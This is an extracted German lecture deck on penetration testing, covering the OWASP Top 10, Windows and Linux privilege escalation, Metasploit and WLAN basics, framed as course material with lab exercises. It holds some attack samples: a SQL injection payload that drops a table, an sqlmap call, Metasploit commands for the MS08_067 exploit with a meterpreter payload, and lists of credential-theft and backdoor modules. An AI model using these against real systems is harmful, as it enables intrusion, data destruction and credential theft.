• Application Security Verification Standard – Leitfaden, was im Einzelnen zu prüfen ist
• Konferenzen • …
Daniel Schalberger, SySS GmbH
78 März 2015 Penetration Testing
OWASP Top10
Daniel Schalberger, SySS GmbH
79 März 2015 Penetration Testing
OWASP A1-Injection
• Nicht vertrauenswürdige Daten werden an einen Interpreter übergeben
• SQL, OS-Commands, LDAP, XPath
• Zugriff auf Daten ohne Autorisierung
Daniel Schalberger, SySS GmbH
80 März 2015 Penetration Testing
SQL-Injection
• SQL: Structured Query-Language
• Abfragesprache für Datenbanken
• SQL-Injection: Einfügen von eigenem SQL-Code in Datenbankabfrage
Beispiel: www.example.com/suche?q=Berlin
SELECT * FROM User WHERE Ort = ‘Berlin’ ORDER BY id
www.example.com/suche?q=Berlin’;drop table User#
SELECT * FROM User WHERE Ort = ‘Berlin’;drop table user#’
ORDER BY id
Daniel Schalberger, SySS GmbH
81 März 2015 Penetration Testing
BEUST: Arten von SQL-Injection
• Unterscheidung je nach „Payload“, die übergeben werden kann:
– Boolean-based blind
– Error-based
– Union-based
– Stacked Queries (blind)
– Time-based blind
• Übung: SQL-Injection
Daniel Schalberger, SySS GmbH
82 März 2015 Penetration Testing
SQL-Injection: Automatische Ausnutzung
Sqlmap (www.sqlmap.org)
• einfacher Aufruf: sqlmap.py –u “http://www.example.com/show?id=1“
• weitere Funktionen:
– Herausfinden der Rechte des Datenbanknutzers – Benutzer enumerieren, PW-Hashes kopieren – Datenbankschema ermitteln – Datenbankdump durchführen – Dateien lesen und schreiben – Betriebssystemkommandos ausführen
Daniel Schalberger, SySS GmbH
83 März 2015 Penetration Testing
OWASP A3 – Cross-Site Scripting (XSS)
• Ausgabe ungefilterter Benutzereingaben auf Webseite
• Modifizierung der Webseite durch zusätzliche HTML- oder JavaScript-Tags
Gefahren:
• Veränderung des Aussehens der Seite (Defacement)
• Nachladen von Schadcode (Drive-by-Download)
• Stehlen von Sitzungsbezeichnern (Session-Hijacking)
• Kopieren vertraulicher Informationen (z.B. Passwörter)
Daniel Schalberger, SySS GmbH
84 März 2015 Penetration Testing
Cross-Site Scripting
„Arten“ von Cross-Site Scripting:
• Reflected / Non-Persistent Cross-Site Scripting
• Persistent / Stored Cross-Site Scripting
• DOM-based Cross-Site Scripting
• Übungen: – Reflected Cross-Site Scripting 1-3
– DOM-based Cross-Site Scripting
Daniel Schalberger, SySS GmbH
85 März 2015 Penetration Testing
OWASP A2 – Broken Authentication / Session Management
• Fehler in Anmeldung / Sitzungs-Management kompromittieren die ganze Anwendung
• Angriffe:
– Cookies kopieren
– Sitzungen übernehmen
– Passwörter ermitteln
Q: https://www.owasp.org/index.php/Top_10_2013-Top_10
Daniel Schalberger, SySS GmbH
86 März 2015 Penetration Testing
Session Hijacking
Angriffe auf Sitzungsbezeichner:
• Brute Force: Hierbei werden sukzessive unterschiedliche IDs generiert und auf Gültigkeit getestet.
• Berechnung: Schlecht vergebene Session-IDs liegt ein einfacher Algorithmus für die Berechnung zu Grunde. Dies ermöglicht es einem Angreifer, die ID einer gültigen Session zu errechnen.
• Cross-Site Scripting: Die Session-IDs bereits authentifizierter Benutzer werden durch Ausnutzung einer Cross-Site Scripting-Schwachstelle gestohlen.
• Sniffen: Einem Angreifer in einer Man-in-the-Middle-Position gelingt es, den Sitzungsbezeichner aus dem Netzwerkverkehr zu extrahieren.
Daniel Schalberger, SySS GmbH
87 März 2015 Penetration Testing
Sitzungsbezeichner I
Sollten
• hinreichend lang sein
• zufällig sein (Entropie)
• nicht durch Dritte berechnet werden können
Beispiel PHP: SessionID = MD5(Random1 + Timestamp + IP + Random2)
Daniel Schalberger, SySS GmbH
88 März 2015 Penetration Testing
Sitzungsbezeichner II
Beispiel: Folgende 10 Sitzungsbezeichner wurden innerhalb weniger Sekunden generiert. 1. R4C7O9x6c4H0p2u6O42C
2. 34P7y9E6X4g0F2f6P5GB
3. 34P7y9E6X4g0F2f6P6GB
4. P4w7d9a604L0E2l6K75p
5. G4Y7s9z6R4x0x2B6P8DF
6. G4Y7s9z6R4x0x2B6P9DF
7. C4U7E9B6R4y0q2u7F0Sb
8. r4X779y6j4H0k2G7E1Qc
9. W4T749h6v4l032p7N2WK
10.G4F7f9u6E4P0j2F7O31E
Daniel Schalberger, SySS GmbH
89 März 2015 Penetration Testing
Transport des Sitzungsbezeichners
In der URL:
• Kann an verschiedenen Stellen gespeichert und ausgelesen werden:
– Browser-History
– Proxy-Logdateien
– Server-Logdateien
– Google-Index
– etc…
Als Cookie
• Bevorzugter Weg
• Cookies sollten mit Schutzattributen (httpOnly, secure) ausgestattet sein
• Gültigkeit der Cookies korrekt setzen
Daniel Schalberger, SySS GmbH
90 März 2015 Penetration Testing
Session-Fixation / Preauthentication Attack
• Ideal: Änderung der Session-ID beim Login- und Logout
• Pre-Authentication-Angriff: Kopieren des Sitzungsbezeichners vor dem Login-Vorgang
• Session-Fixation-Angriff: Setzen der ID auf einen vom Angreifer kontrollierten Wert
Übung: Durchführung dieser Angriffe
Daniel Schalberger, SySS GmbH
91 März 2015 Penetration Testing
OWASP A4 – Insecure Direct Object Reference
Direkter Zugriff auf Objekte, z.B. über ID
Beispiel:
• User hat Zugriff auf Objekt Nummer 100
• www.example.com/show.aspx?id=100
• kann aber durch URL-Manipulation auch auf Objekte 101, 102, … zugreifen
• www.example.com/show.aspx?id=101
Daniel Schalberger, SySS GmbH
92 März 2015 Penetration Testing
OWASP A5 – Security Misconfiguration
Fehlerhafte Konfigurationen können z.B. sein • Zugriff auf Administrations-Interfaces • aktiviertes Directory Listing • Schreibrechte im Webroot • Backup-Dateien • Test-Accounts auf Produktivsystemen • Beispielscripte auf Produktivsystemen • Ausgabe von Fehlermeldungen an den Benutzer
(Angreifer lieben Zusatzinformationen )
Daniel Schalberger, SySS GmbH
93 März 2015 Penetration Testing
Beispiel: Backup-Dateien
Beispiel einer Verzeichnis-Ausgabe (ls-Befehl) aus einem Test im März 2013
drwxr-xr-x 6 skpweb skpweb 4096 Apr 25 2008 admin
-rw-r--r-- 1 skpweb skpweb 8841 Apr 25 2008 admin.php
drwxr-xr-x 7 skpweb skpweb 4096 Dec 15 2008 admintool
-rw-r--r-- 1 skpweb skpweb 3203 Apr 30 2010 anmeldung_js.php
-rw-r--r-- 1 skpweb skpweb 1887 Apr 25 2008 anmeldung.js.php
-rw-r--r-- 1 skpweb skpweb 36 Apr 25 2008 anmeldung.js.php.LCK
-rw-r--r-- 1 skpweb skpweb 5896 Apr 25 2008 anmeldung.php
-rwxr--r-- 1 skpweb skpweb 5535 Apr 25 2008 anmeldung.php.bak
-rw-r--r-- 1 skpweb skpweb 5698 Feb 10 2009 anmeldung_php.php
-rw-r--r-- 1 skpweb skpweb 8523 Apr 25 2008 anmeldung.php.php
...
Was fällt auf?
Daniel Schalberger, SySS GmbH
94 März 2015 Penetration Testing
Burp Intruder
• Tool zum automatisierten Durchprobieren von Parametern, z.B. Passwort-Rate-Angriffe
1. Positionen definieren 2. Angriffstyp definieren
– Sniper: Eine Payload nacheinander in verschiedene Positionen – Battering Ram: Eine Payload gleichzeitig in versch. Positionen – Pitchfork: Je ein Parameter aus jedem Payload-Set – Cluster Bomb: Alle Kombinationen aus den Payload-Sets
3. Payloads definieren (Listen, Zahlen, Dateinamen, Brute-Force, usw…)
4. zurücklehnen und zugucken
Daniel Schalberger, SySS GmbH
95 März 2015 Penetration Testing
Große Übung 1
Führen Sie einen Penetrationstest gegen die Gästebuch-Applikation durch • versuchen Sie, möglichst viele Schwachstellen aufzudecken (es gibt über
20 zu entdecken…)
• dokumentieren Sie Ihre Funde inklusive Einstufung (low, med, high)
• versuchen Sie, möglichst viele Benutzernamen und Passwörter in Erfahrung zu bringen
• versuchen Sie, Systemkommandos auf dem Webserver auszuführen
• Dateien anlegen / Benutzer hinzufügen ist erlaubt
• keine vorsätzlichen Denial-of-Service-Angriffe
• sperren Sie Ihre Kommilitonen nicht aus (keine Passwörter ändern etc.)
Daniel Schalberger, SySS GmbH
96 März 2015 Penetration Testing
OWASP A6 - Sensitive Data Exposure
Preisgabe sensibler Daten
• fehlende / unzureichende Verschlüsselung
• Verwendung von Passwort-Hashes ohne Salt
• automatische Ver-/Entschlüsselung beim Datenbankzugriff
• Ausgabe von Passwörtern, Kreditkartennummern, etc. in Serverantwort
Daniel Schalberger, SySS GmbH
97 März 2015 Penetration Testing
SSL-Verschlüsselung
Der Einsatz von SSL hat folgende Ziele:
• Authentizität (SSL-Zertifikate)
• Integrität („Prüfsumme“, MAC)
• Vertraulichkeit (Verschlüsselung)
Daniel Schalberger, SySS GmbH
98 März 2015 Penetration Testing
SSL-Konfiguration
Mögliche Schwachstellen in der SSL-Konfiguration:
• Nicht vertrauenswürdiges SSL-Zertifikat
• Veraltetes SSL-Zertifikat
• Einsatz des falschen Zertifikats
• Unterstützung von SSLv2
• Unterstützung kurzer Schlüssellängen
• Unterstützung unsicherer Chiffren: RC4
• Kompression vor der Verschlüsselung
• Neuaushandlung der Verschlüsselungsparameter
• Veraltete SSL-Komponenten (z.B. Heartbleed)
Daniel Schalberger, SySS GmbH
99 März 2015 Penetration Testing
Übung: SSL-Konfiguration
Werkzeuge zur Überprüfung: OpenSSL / Web-Browser
Verbindungsaufbau mit OpenSSL: > openssl s_client –connect IP-Adresse:Portnummer
Übung: Untersuchen Sie die SSL-Konfiguration eines Webservers
Daniel Schalberger, SySS GmbH
100 März 2015 Penetration Testing
SSL Heartbleed
• Schwachstelle in bestimmten OpenSSL-Versionen
• erlaubt einem Angreifer, einen zufälligen Speicherbereich des Server-Prozesses auszulesen (Information Disclosure-Schwachstelle)
• zahlreiche Tools zum Ausnutzen online verfügbar
• ermöglicht Zugriff auf – Session Tokens
– Passwörter
– privates Schlüsselmaterial
Daniel Schalberger, SySS GmbH
101 März 2015 Penetration Testing
OWASP A7 – Missing Function Level Access Control
Direkter Zugriff auf Funktionen, sofern deren URL bekannt ist
Beispiel: Gästebuch-Applikation
index.php?action=delete&id=5
Testen erfordert i.d.R. mehrere Accounts pro Rolle
Daniel Schalberger, SySS GmbH
102 März 2015 Penetration Testing
OWASP A8 – Cross-Site Request Forgery
• Durchführung von Transaktionen im Namen anderer Benutzer
• Unterschieben eines manipulierten Links durch – Persistent Cross-Site-Scripting – E-Mail, Instant Messanging, Soziale Netzwerke etc.
• Beispiel: Abmelden-Funktion • http://www.example.com/user.php?action=logout
• Schwachstelle ist sehr verbreitet
Daniel Schalberger, SySS GmbH
103 März 2015 Penetration Testing
OWASP A9 – Using Components with Known Vulnerabilities
„never touch a running system“ • Server-Prozesse laufen oft mit hohen Rechten
(root, SYSTEM) • typische Schwachstellen können sein
– Applikations-Schwachstellen (XSS, SQLi, …) – Buffer Overflow Remote Code Execution – Authentication Bypass – Denial-of-Service (DOS)
• Beispiel: Apache Webserver: DOS (CVE-2011-3192), Cookie-Disclosure (CVE-2012-0053)
Daniel Schalberger, SySS GmbH
104 März 2015 Penetration Testing
OWASP A10 – Unvalidated Redirects and Forwards
• Veränderung von Weiterleitungsziel
• Gefahren: – Phishing – Malware-Infizierte Webseiten
Beispiel: „Schutz“-Funktion • Filterung auf „http://“
• Übung: Open Redirect
Daniel Schalberger, SySS GmbH
105 März 2015 Penetration Testing
Weitere Web-Schwachstellen
• OWASP Top10 nur die Spitze des Eisbergs
• viele weitere Schwachstellen / Angriffe
– CRLF-Injection
– HTTP Parameter Pollution
– File-Inclusion
– Directory Traversal
– …
Daniel Schalberger, SySS GmbH
106 März 2015 Penetration Testing
CRLF Injection
• Einfügen zusätzlicher Zeilenumbrüche – In HTTP-Headern – In E-Mail-Headern – usw.
• Gefahren:
– Open Redirect – HTTP Response Splitting – Spam-E-Mail-Versand über fremden Webserver – usw…
• Übung: CRLF Injection
Daniel Schalberger, SySS GmbH
107 März 2015 Penetration Testing
„HTTP Parameter Pollution“
• Veränderung der Übergebenen Parameter • Variation von
– Kodierung – Anzahl – Reihenfolge
• Gefahren:
– Umgehung von Filtern – Unvorhersehbares Verhalten
• Übung: HTTP Parameter Pollution
Daniel Schalberger, SySS GmbH
108 März 2015 Penetration Testing
Local File Inclusion • Einbinden von lokal abgelegten (Code)-Dateien • Typische Schwachstelle in PHP-Anwendungen • Webshell
• Beispiel in PHP: <?php
$lang = $_GET[’lang’];
include "languages/$lang.php"
[...]
?>
• Problem: Angreifer muss Schadcode auf den Server laden und darauf zugreifen
können • Ablage von Code in Server-Logs (User-Agent), Temp-Dateien (Session-Variablen )
• Übung: Local File Inclusion
Daniel Schalberger, SySS GmbH
109 März 2015 Penetration Testing
Remote File Inclusion
• Einbinden von (Code-)Dateien von fremden Servern
• Sehr Einfach auszunutzen
• Übung: Remote File Inclusion
Daniel Schalberger, SySS GmbH
110 März 2015 Penetration Testing
Rechteausweitung unter Linux
• Kernel Exploits
• Exploit lokaler Dienste
• suid-Programme
• Sudo-Konfiguration
• lesbare private ssh-Schlüssel
• Austausch von Programmdateien (Cronjobs, privilegierte Scripte, …)
• Passwörter, die „rumliegen“
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
111 März 2015 Penetration Testing
Große Übung 2
Führen Sie einen Penetrationstest gegen die Infoboard-Applikation durch
• Versuchen Sie, möglichst viele Schwachstellen aufzudecken
• Dokumentieren Sie Ihre Funde inklusive Einstufung (low, med, high)
• Versuchen Sie, root zu werden (es gibt mehrere Wege)
• Dateien anlegen / Benutzer hinzufügen ist erlaubt
• Keine vorsätzlichen Denial-of-Service-Angriffe
• Sperren Sie Ihre Kommilitonen nicht aus (keine Passwörter ändern etc.)
Daniel Schalberger, SySS GmbH
112 März 2015 Penetration Testing
Windows-Hacking
Q: Wikipedia
Daniel Schalberger, SySS GmbH
113 März 2015 Penetration Testing
Unter Hackern „beliebt“
• Großer Marktanteil
• Größe des Programmcodes
• Hunderte von Treibern (viele 3rd Party)
• Abwärtskompatibilität (z.B: LM-Hashes)
• heterogene Netze
• Microsoft-eigene Komponenten nah am Kernel, bringt Geschwindigkeitsvorteile (IE, Office, etc.)
Daniel Schalberger, SySS GmbH
114 März 2015 Penetration Testing
Domänen & Arbeitsgruppen
Jeder Windows-Computer ist entweder Teil einer Arbeitsgruppe, oder einer Domäne
Arbeitsgruppe Domäne
• Alle PCs gleichberechtigt • lokale Accounts auf jedem PC
hinterlegt • Arbeitsgruppe ist nicht durch PW
geschützt • nicht mehr als 20 PCs
• Ein (oder mehrere) Domain-Controller • Zentrale Verwaltung von
Benutzerkonten • Hinzufügen von Benutzern oder
Computern kann nur der Domänenadministrator
• keine Größenbeschränkung (hunderte bis tausende Computer sind üblich)
Daniel Schalberger, SySS GmbH
115 März 2015 Penetration Testing
Domänen / Active Directory
• Baumstruktur
• Zentrale Verwaltung von Benutzern, Gruppen, Rechten
• Gruppenrichtlinien
• Protokolle
– LDAP
– Kerberos
– DNS
Daniel Schalberger, SySS GmbH
116 März 2015 Penetration Testing
Anmeldeinformationen
lokale Benutzer Domänen-Benutzer
• Passwort-Hashes liegen in SAM (Security Account Manager) auf dem Computer, auf dem der Account existiert
• Anmeldung ohne Netzwerk-Verbindung
• früher: LM-Hashes (vor Vista) • jetzt: NTLM-Hashes (seit NT) • LM-Verfahren ist vollständig
gebrochen • oft liegen beide Hashes parallel vor • Verschlüsselung mit System-Key
• Passwort-Hashes liegen auf dem Domain-Controller (DC)
• Netzwerkverbindung zum DC erforderlich
• lokale Speicherung von Domain-Cached-Credentials für offline-Anmeldung • DCC1 bis XP • DCC2 ab Vista
Daniel Schalberger, SySS GmbH
117 März 2015 Penetration Testing
Passworthash-Algorithmen • LM-Hashes
– Maximale Länge von 14 Zeichen – Umwandlung in Großbuchstaben – Teilen in zwei Hälften à 7 Zeichen – Erzeugen zweier DES-Keys aus den beiden PW-Hälften – Separates Verschlüsseln einer Konstanten mit den DES-Keys
• NTLM-Hashes – MD4(Passwort)
• DCC1 – MD4(NTLM+Username)
• DCC2 – PBKDF2(HMAC-SHA1, 10240, DCC1, Username)
Daniel Schalberger, SySS GmbH
118 März 2015 Penetration Testing
Typische Benutzerkonten / Rollen
• Lokal – Gast
– normaler Nutzer
– Administrator
– SYSTEM
• Domäne – normaler Nutzer
– lokaler Administrator
– Domänen-Administrator
Daniel Schalberger, SySS GmbH
119 März 2015 Penetration Testing
Authentisierung
• Domänen-Konten: Kerberos
• lokale Benutzerkonten: NTLMv2
– Challenge-Response-Verfahren
– Client braucht NTLM-Hash
– Pass-the-Hash-Angriffe sind möglich
Daniel Schalberger, SySS GmbH
120 März 2015 Penetration Testing
Access Tokens
• Werden für eine Logon-Session generiert
• Ähnlich zu Web-Session-Cookies
• Enthalten Berechtigungen eines Nutzers bzw. all seiner Gruppen („Security Context“); SIDs
• Werden erzeugt bei: Interaktivem Login, Nutzung von Netzwerk-Freigaben, RDP-Zugriff, Citrix, VNC, Scheduled Tasks (RunAs), …
Daniel Schalberger, SySS GmbH
121 März 2015 Penetration Testing
Rechte-Eskalation unter Windows • Passwörter finden
– Scripte – Konfigurationsdateien – unattend.xml (evtl. gelöscht) – Group Policy Preferences
• Kernel-Exploits • Service-Dateien austauschen • Scheduled Tasks • Binary Planting • Physischer Zugriff
– Fremdbooten (USB, PXE, CD-ROM) – Festplatte ausbauen – Firewire
• Der Schritt Administrator --> SYSTEM ist trivial
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
122 März 2015 Penetration Testing
Post-Exploitation / Plündern
• lokale SYSTEM-Rechte erlauben u.a. Zugriff auf – lokale Passwort-Hashes (LM/NTLM)
– Klartext-Passwörter angemeldeter Nutzer im Arbeitsspeicher
– Access Tokens
– DCCs
• Nützliche Tools: PWDump, WCE, Mimikatz
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
123 März 2015 Penetration Testing
Ausbreitung
• Wellenartige Ausbreitung im Netzwerk
• Weiterverwendung gefundener Passwörter / Passwort-Hashes
(Pass-the-Hash!)
1
2
3
3
3
2
3
Initial kompromittiertes System
Daniel Schalberger, SySS GmbH
124 März 2015 Penetration Testing
Passwort-Rate-Angriffe Online-Angriff • Anmeldeversuche mit versch. Passwörtern • Tools: Hydra, Medusa Offline-Angriff • Hashes berechnen und vergleichen • Wörterbuch-Angriff • Beschleunigung mit Rainbow-Tables (ohne Salt) • schnell: MDx, SHAx, LM, NTLM, DCC1 • langsam: PBKDF2, DCC2 • Tools: John, Hashcat (GPU-Unterstützung)
Daniel Schalberger, SySS GmbH
125 März 2015 Penetration Testing
Metasploit
• Metasploit-Framework
• Framework für Angriffe / Penetrationstests
• Komponenten – Scanner-Module
– Exploit-Module
– Post-Exploitation-Module
– Payloads
– Encoder
• Baukastenartige Kombination passender Komponenten zu einem funktionierenden Angriffswerkzeug
Daniel Schalberger, SySS GmbH
126 März 2015 Penetration Testing
Metasploit Details
• Open Source
• Ruby
• Entwickelt von HD Moore
• Maintainance: Rapid7
• Varianten – Metasploit Framework
– Community Edition
– Metasploit Pro ($$$)
• Macht das Leben einfach
Daniel Schalberger, SySS GmbH
127 März 2015 Penetration Testing
Auxilliary-Module
• Verschiedenste Module
– Directory Enumeration
– Login-Brute-Force
– Portscan
– Datenbank-Login
– …
Daniel Schalberger, SySS GmbH
128 März 2015 Penetration Testing
Exploits
• Brauchen Payload
• Über 1.000 Exploits, z.B. gegen
– Windows (Remote / lokal)
– Adobe Reader (PDF-Dateien, Browser-Plugin)
– Internet Explorer (Drive-By-Downloads)
– HP Data Protector
– Ability FTP Server
– …
Daniel Schalberger, SySS GmbH
129 März 2015 Penetration Testing
Payloads
• Shellcode und mehr
• Verschiedenste Kombinationen von Exploit und Payload
• Unterschiede je nach Platform (Windows, Linux, …) – Bind-Shell
– Reverse-Shell
– VNC-Server
– User anlegen
– Befehlszeile ausführen
– Meterpreter
Daniel Schalberger, SySS GmbH
130 März 2015 Penetration Testing
Meterpreter
• Eierlegender Wollmilchsau-Trojaner • Features:
– Dateien hoch- und runterladen – Privilege Escalation – Kontrolle über Prozesse – Keylogger – Webcam und Desktop überwachen – Passwort-Hashes kopieren – Pivoting
• Kombination mit Post-Exploitation-Modulen
Daniel Schalberger, SySS GmbH
131 März 2015 Penetration Testing
Post-Exploitation-Module
• Können auf aktive Meterpreter-Sitzungen angewendet werden
• Beispiele: – Privilege Escalation (Kernel Exploits)
– Passwort-Hashes stehlen (auch Drittsoftware)
– Domain-Cached-Credentials auslesen
– Information Gathering
– Group Policy Preferences auslesen
– Bitcoins stehlen
Daniel Schalberger, SySS GmbH
132 März 2015 Penetration Testing
Encoder
• Viele Exploits haben Probleme mit bestimmten Bytes (Nullbyte, Zeilenumbrüche etc.)
• Encoder wandeln Payload bei selber Bedeutung in andere Byte-Sequenz um
• Können verschachtelt werden
• Umgehung Signatur-basierter AV-Lösungen
• z.B. nur alphanumerische Zeichen
Payload
Kodierte Payload Decoder
Daniel Schalberger, SySS GmbH
133 März 2015 Penetration Testing
Metasploit-Schnittstellen
• msfconsole – Konsolenanwendung für Zugriff auf Metasploit-
Module
• msfpayload – Erzeugen von Payloads
• msfencode – Encoden von Payloads
• msfvenom – Ersatz für msfpayload und msfencode
• …
Daniel Schalberger, SySS GmbH
134 März 2015 Penetration Testing
Beispiel: Angriff gegen Windows XP MS08_067
Schwachstelle im SMB-Dienst (Port 445)
Haupt-Verbreitungsweg von „Conficker“
> use exploit/windows/smb/ms08_067_netapi
> set rhost 192.168.100.0
> set payload windows/meterpreter/bind_tcp
> exploit
Demo / Übung: Eigene Windows-XP-Maschine angreifen via SMB-Exploit, PDF-Exploit, Pass-the-Hash
Daniel Schalberger, SySS GmbH
135 März 2015 Penetration Testing
Module die man kennen sollte Scanner:
auxiliary/scanner/smb/smb_version
auxiliary/scanner/smb/smb_login
Pass-the-Hash:
auxiliary/admin/smb/psexec_command
exploit/windows/smb/psexec
Remote Exploits gegen Windows:
exploit/windows/dcerpc/ms03_026_dcom (CVE-2003-0352)
exploit/windows/smb/ms08_067_netapi (CVE-2008-4250)
Post-Exploitation:
post/windows/gather/cachedump
exploit/windows/local/ms10_015_kitrap0d (CVE-2010-0232)
exploit/windows/local/ppr_flatten_rec (CVE-2013-3660)
Client-Angriffe:
exploit/windows/fileformat/adobe_cooltype_sing (CVE-2010-2883)
Daniel Schalberger, SySS GmbH
136 März 2015 Penetration Testing
Große Windows-Hacking-Übung Führen Sie einen Penetrationstest gegen das bereitgestellte Windows-Netzwerk durch • Versuchen Sie, möglichst viele Schwachstellen aufzudecken
/ mehrere Angriffswege zu finden • Dokumentieren Sie Ihre Funde • Versuchen Sie, Domänen-Administrator zu werden • Dateien anlegen / Benutzer hinzufügen ist erlaubt • Keine vorsätzlichen Denial-of-Service-Angriffe • Sperren Sie Ihre Kommilitonen nicht aus (keine Passwörter
ändern etc.) • Bonusziel: Manipulieren Sie den gefundenen Webserver so,
dass ein Besucher (Teilnehmer-XP-Maschinen) gehackt wird
Daniel Schalberger, SySS GmbH
137 März 2015 Penetration Testing
Spuren beseitigen • Verglichen mit Blackhat-Hackern beim Pentest
untergeordnete Bedeutung • Ein Angriff hinterlässt Spuren und Artefakte
– Log-Einträge – veränderte Zeitstempel – Datenmüll – zusätzliche Benutzerkonten – …
• Typischerweise sollten – Angriffswerkzeuge entfernt werden – Zusätzliche Benutzerkonten entfernt oder protokolliert
werden – Log-Dateien unangetastet bleiben
• Wichtiger als Aufräumen ist eine saubere Dokumentation der durchgeführten Schritte
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
138 März 2015 Penetration Testing
Hintertüren • Können mit msfpayload erzeugt werden • Platzierung z.B. als Autostart-Programm,
oder Programmdateien austauschen • Fallbeispiel: Tor-Exit-Node mit HTTP-Proxy,
der alle .EXE-Dateien mit Backdoor ausstattet (http://www.heise.de/security/ meldung/Russischer-Tor-Server-schleuste-Malware-in-Programme-2432114.html)
• Übung: Meterpreter-Backdoor für Windows erstellen
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
139 März 2015 Penetration Testing
Denial-of-Service • Angriffe gegen die Verfügbarkeit • i.d.R. nicht erwünscht, schon gar nicht bei
Produktivsystemen • Manchmal Nebenprodukt eines Pentests
durch – Überlastung (autom. Tools) – Fehlerhafte Tools / unvorhergesehenes
Verhalten – falsch eingesetzte Tools (z.B. wegen
fehlender Informationen, Buffer Overflow gegen falsches Ziel)
• RDP: MS12-020 • Apache: Byte-Range-DOS
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Matthias Sattler, SySS GmbH
140 März 2015 Penetration Testing: WLAN
Matthias Sattler, SySS GmbH
Penetration Testing: WLAN
Matthias Sattler, SySS GmbH
141 März 2015 Penetration Testing: WLAN
Dipl. Inform. Matthias Sattler
• Studium in Tübingen (Informatik, BWL)
• Seit 2012 IT-Security Consultant bei der SySS GmbH
Matthias Sattler, SySS GmbH
142 März 2015 Penetration Testing: WLAN
Agenda
• Einleitung
• Grundlagen und Technologien
• WLAN-Sniffing
• Sicherheit im Drahtlosnetzwerk / WLAN-Hacking
Matthias Sattler, SySS GmbH
143 März 2015 Penetration Testing: WLAN
Vorwort Werkzeuge
In der Regel gibt es für jedes in dieser Vorlesung verwendeten Werkzeuge eine Reihe von Alternativen.
Aus zeitlichen Gründen kann nicht auf jede dieser Alternativen eingegangen werden.
Matthias Sattler, SySS GmbH
144 März 2015 Penetration Testing: WLAN
Grundlagen und Technologien
Matthias Sattler, SySS GmbH
145 März 2015 Penetration Testing: WLAN
WLAN-Standards
• WLAN = Wireless-LAN (drahtloses lokales Netzwerk)
• Definiert durch IEEE 802.11
• Momentan existieren mehrere konkurrierende Standards
Matthias Sattler, SySS GmbH
146 März 2015 Penetration Testing: WLAN
WLAN-Standards
Matthias Sattler, SySS GmbH
147 März 2015 Penetration Testing: WLAN
802.11-Erweiterungen
Matthias Sattler, SySS GmbH
148 März 2015 Penetration Testing: WLAN
802.11-Erweiterungen
Matthias Sattler, SySS GmbH
149 März 2015 Penetration Testing: WLAN
802.11-Erweiterungen
Matthias Sattler, SySS GmbH
150 März 2015 Penetration Testing: WLAN
2,4 GHz Band
• Klassisches ISM-Band
• Zur Verwendung sowohl inner- als auch außerhalb von Gebäuden freigeben
• Zur Verwendung für Funknetze über Grundstücksgrenzen hinweg in Deutschland
• Max. Sendeleistung in Deutschland 20dBm (100mW), ansonsten lizenz- und gebührenpflichtig
Matthias Sattler, SySS GmbH
151 März 2015 Penetration Testing: WLAN
Matthias Sattler, SySS GmbH
152 März 2015 Penetration Testing: WLAN
2,4 GHz Band
• Störquellen können WLANs beeinflussen
• Problematik im Mischbetrieb:
– 11b- und 11g-Geräte 54 auf 11 Mbit/s
– 11g- und 11n-Geräte 450 auf 54 Mbit/s
Matthias Sattler, SySS GmbH
153 März 2015 Penetration Testing: WLAN
5 GHz Band
• Zur Allgemeinen Nutzung freigegeben – jedoch stark reguliert
• Durch höhere Frequenz höhere Dämpfung – dadurch ergibt sich eine geringere Reichweite
• Höhere Anzahl nicht-überlappender Kanäle
• Probleme mit DFS und TPC – dadurch bleiben effektiv nur wenige Kanäle übrig
Matthias Sattler, SySS GmbH
154 März 2015 Penetration Testing: WLAN
5 GHz Band
Matthias Sattler, SySS GmbH
155 März 2015 Penetration Testing: WLAN
5 GHz Band
• Störquellen können WLANs beeinflussen:
– Satellitenfunk
– Amateurfunk
– Flugnavigation
– Radar
Matthias Sattler, SySS GmbH
156 März 2015 Penetration Testing: WLAN
CSMA/CA
• CSMA = Carrier Sense Multiple Access
• CA = Collision Avoidance
• Bedeutung: Mehrfachzugriff mit Trägerprüfung und Kollisionsvermeidung
Wichtig ist hier nur: Kollisionserkennung ist prinzipbedingt nicht möglich.
Matthias Sattler, SySS GmbH
157 März 2015 Penetration Testing: WLAN
Problem: Versteckte Endgeräte
• A sendet und erreicht B, aber nicht C
• C sendet und erreicht B, aber nicht A
• A kann nicht erkennen ob C sendet und umgekehrt
• A und C wollen senden Kollision bei B
Matthias Sattler, SySS GmbH
158 März 2015 Penetration Testing: WLAN
Lösung: RTS/CTS
• A will Daten senden
• Vor Übertragungsbeginn: A sendet ein RTS
• Zugangspunkt strahl daraufhin ein CTS aus. Alle Stationen, die das CTS empfangen, halten Zeitschlitz frei A kann nun senden.
Problem: CTS ist für DoS-Angriffe sehr gut geeignet.
Matthias Sattler, SySS GmbH
159 März 2015 Penetration Testing: WLAN
Begriffe & Abkürzungen
Matthias Sattler, SySS GmbH
160 März 2015 Penetration Testing: WLAN
Begriffe & Abkürzungen
Matthias Sattler, SySS GmbH
161 März 2015 Penetration Testing: WLAN
AdHoc-Modus
Verbund von mehreren WLAN-Geräten ohne Benutzung eines Accesspoints.
Matthias Sattler, SySS GmbH
162 März 2015 Penetration Testing: WLAN
Infrastruktur-Modus
Verbund von mehreren WLAN-Geräten über einen Accesspoint.
Matthias Sattler, SySS GmbH
163 März 2015 Penetration Testing: WLAN
Monitor-Modus
• Spezieller Modus der PHY-Schicht
• WLAN-Karte liest alle 802.11-Rahmen und reicht diese an die höheren Schichten weiter – nicht nur die Rahmen, welche für sie bestimmt sind
• Wird in erster Linie von WLAN-Sniffern verwendet
Matthias Sattler, SySS GmbH
164 März 2015 Penetration Testing: WLAN
